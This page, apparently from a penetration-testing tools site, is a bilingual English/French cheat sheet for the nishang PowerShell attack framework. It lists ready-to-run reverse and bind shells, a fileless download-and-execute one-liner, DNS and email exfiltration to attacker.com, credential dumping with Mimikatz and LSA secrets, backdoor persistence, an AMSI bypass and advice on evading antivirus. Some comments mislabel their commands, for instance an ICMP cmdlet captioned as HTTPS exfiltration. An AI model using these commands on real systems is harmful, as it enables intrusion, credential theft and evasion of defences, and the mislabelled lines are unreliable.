retour aux outils back to tools Ducklings

nishang

Framework d'attaque PowerShell et collection de scripts de sécurité offensive pour les tests d'intrusion. Couvre les shells, l'élévation de privilèges, la persistance, l'exfiltration, et plus. PowerShell attack framework and collection of offensive security scripts for penetration testing. Covers shells, privilege escalation, persistence, exfiltration, and more.

↗ https://github.com/samratashok/nishang

Overview

nishang is a collection of PowerShell scripts and payloads for offensive security operations. It covers initial access (phishing), post-exploitation (shells, persistence, exfil), privilege escalation, and active directory attacks. Used directly or as a payload delivery mechanism.

Shells

# TCP reverse shell
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.10.50 -Port 4444

# TCP bind shell
Invoke-PowerShellTcp -Bind -Port 4444

# UDP reverse shell
Invoke-PowerShellUdp -Reverse -IPAddress 10.10.10.50 -Port 4444

# ICMP reverse shell (bypasses port filters)
Invoke-PowerShellIcmp -IPAddress 10.10.10.50

# HTTP/HTTPS reverse shell
Invoke-PoshRatHttps -IPAddress 10.10.10.50 -Port 443

Download and Execute (One-Liner)

# Classic in-memory load of nishang reverse shell
powershell -nop -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.50/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.10.10.50 -Port 4444"

# Host on attacker:
python3 -m http.server 80  # serve Invoke-PowerShellTcp.ps1
nc -lvnp 4444               # catch the shell

Exfiltration

# DNS exfiltration
Invoke-DNSExfil -DataToExfiltrate "secret_data" -Domain exfil.attacker.com

# Email exfiltration
Send-FilesToSmtp -Username attacker -Password pass -SmtpServer smtp.gmail.com -To target@attacker.com -File C:\sensitive.txt

# Exfil via HTTPS
Invoke-PowerShellIcmp -ExfiltrateFile C:\Users\admin\Documents\passwords.txt

Privilege Escalation

# Check for local privilege escalation opportunities
Invoke-SessionGopher

# Dump credentials from memory (wraps Invoke-Mimikatz)
Invoke-Mimikatz

# Extract credentials from Windows Credential Manager
Get-WebCredentials
Get-PassHints

Persistence

# Scheduled task persistence
Add-ScrnSaveBackdoor

# Registry run key persistence
Set-RemoteWMI -UserName backdoor -Password P@ssw0rd -ComputerName localhost

# WMI subscription persistence
Set-WMIPermanentSubscription -SubscriptionName "Backdoor"

Enumeration

# Port scan from compromised host
Invoke-PortScan -StartAddress 10.10.10.1 -EndAddress 10.10.10.255 -ResolveHost -ScanPort

# Get information about current user and domain
Get-Information

# Gather LSA secrets
Get-LSASecret

Bypass Techniques

# Bypass execution policy
powershell -ExecutionPolicy Bypass -File script.ps1
powershell -ep bypass -c "..."

# Bypass AMSI (Antimalware Scan Interface)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Encode command
$cmd = "Invoke-PowerShellTcp -Reverse -IPAddress 10.10.10.50 -Port 4444"
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell -enc $encoded

Tips

  • Host scripts on HTTP server and use IEX(New-Object Net.WebClient).DownloadString() for fileless execution
  • Combine Invoke-PowerShellTcp with PowerShell Empire or Sliver for full C2 capability
  • Most AV/EDR will flag nishang scripts — obfuscation or manual porting needed for modern engagements
  • Invoke-Encode in nishang helps encode scripts for delivery
Key Scripts 
Shells/
  Invoke-PowerShellTcp.ps1    TCP reverse/bind shell
  Invoke-PowerShellUdp.ps1    UDP reverse shell
  Invoke-PowerShellIcmp.ps1   ICMP shell

Escalation/
  Invoke-PsUACme.ps1          UAC bypass
  Get-LSASecret.ps1           LSA secrets dump

Execution/
  Invoke-BruteForce.ps1       Password brute force
  Get-PassHints.ps1           Password hints from registry

Utility/
  Invoke-Encode.ps1           Encode/decode scripts
  Invoke-Decode.ps1           Decode encoded scripts
  Out-DnsTxt.ps1              DNS-based payload delivery

Vue d’ensemble

nishang est une collection de scripts et payloads PowerShell pour les opérations de sécurité offensive. Elle couvre l’accès initial (phishing), la post-exploitation (shells, persistance, exfiltration), l’élévation de privilèges, et les attaques Active Directory. Utilisée directement ou comme mécanisme de livraison de payload.

Shells

# Reverse shell TCP
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.10.50 -Port 4444

# Bind shell TCP
Invoke-PowerShellTcp -Bind -Port 4444

# Reverse shell UDP
Invoke-PowerShellUdp -Reverse -IPAddress 10.10.10.50 -Port 4444

# Reverse shell ICMP (contourne les filtres de port)
Invoke-PowerShellIcmp -IPAddress 10.10.10.50

# Reverse shell HTTP/HTTPS
Invoke-PoshRatHttps -IPAddress 10.10.10.50 -Port 443

Téléchargement et exécution (one-liner)

# Chargement en mémoire classique du reverse shell nishang
powershell -nop -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.50/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.10.10.50 -Port 4444"

# Héberger côté attaquant :
python3 -m http.server 80  # servir Invoke-PowerShellTcp.ps1
nc -lvnp 4444               # récupérer le shell

Exfiltration

# Exfiltration DNS
Invoke-DNSExfil -DataToExfiltrate "secret_data" -Domain exfil.attacker.com

# Exfiltration par email
Send-FilesToSmtp -Username attacker -Password pass -SmtpServer smtp.gmail.com -To target@attacker.com -File C:\sensitive.txt

# Exfiltration via HTTPS
Invoke-PowerShellIcmp -ExfiltrateFile C:\Users\admin\Documents\passwords.txt

Élévation de privilèges

# Vérifier les opportunités d'élévation de privilèges locale
Invoke-SessionGopher

# Dumper les credentials en mémoire (encapsule Invoke-Mimikatz)
Invoke-Mimikatz

# Extraire les credentials du gestionnaire d'identifiants Windows
Get-WebCredentials
Get-PassHints

Persistance

# Persistance via tâche planifiée
Add-ScrnSaveBackdoor

# Persistance via clé de registre run
Set-RemoteWMI -UserName backdoor -Password P@ssw0rd -ComputerName localhost

# Persistance via abonnement WMI
Set-WMIPermanentSubscription -SubscriptionName "Backdoor"

Énumération

# Scan de ports depuis l'hôte compromis
Invoke-PortScan -StartAddress 10.10.10.1 -EndAddress 10.10.10.255 -ResolveHost -ScanPort

# Obtenir des informations sur l'utilisateur et le domaine courants
Get-Information

# Récupérer les secrets LSA
Get-LSASecret

Techniques de contournement

# Contourner la politique d'exécution
powershell -ExecutionPolicy Bypass -File script.ps1
powershell -ep bypass -c "..."

# Contourner AMSI (Antimalware Scan Interface)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Encoder une commande
$cmd = "Invoke-PowerShellTcp -Reverse -IPAddress 10.10.10.50 -Port 4444"
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell -enc $encoded

Conseils

  • Héberger les scripts sur un serveur HTTP et utiliser IEX(New-Object Net.WebClient).DownloadString() pour une exécution sans fichier (fileless)
  • Combiner Invoke-PowerShellTcp avec PowerShell Empire ou Sliver pour un C2 complet
  • La plupart des AV/EDR détectent les scripts nishang : obfuscation ou portage manuel nécessaire pour les engagements modernes
  • Invoke-Encode dans nishang aide à encoder les scripts pour la livraison
Scripts clés 
Shells/
  Invoke-PowerShellTcp.ps1    TCP reverse/bind shell
  Invoke-PowerShellUdp.ps1    UDP reverse shell
  Invoke-PowerShellIcmp.ps1   ICMP shell

Escalation/
  Invoke-PsUACme.ps1          UAC bypass
  Get-LSASecret.ps1           LSA secrets dump

Execution/
  Invoke-BruteForce.ps1       Password brute force
  Get-PassHints.ps1           Password hints from registry

Utility/
  Invoke-Encode.ps1           Encode/decode scripts
  Invoke-Decode.ps1           Decode encoded scripts
  Out-DnsTxt.ps1              DNS-based payload delivery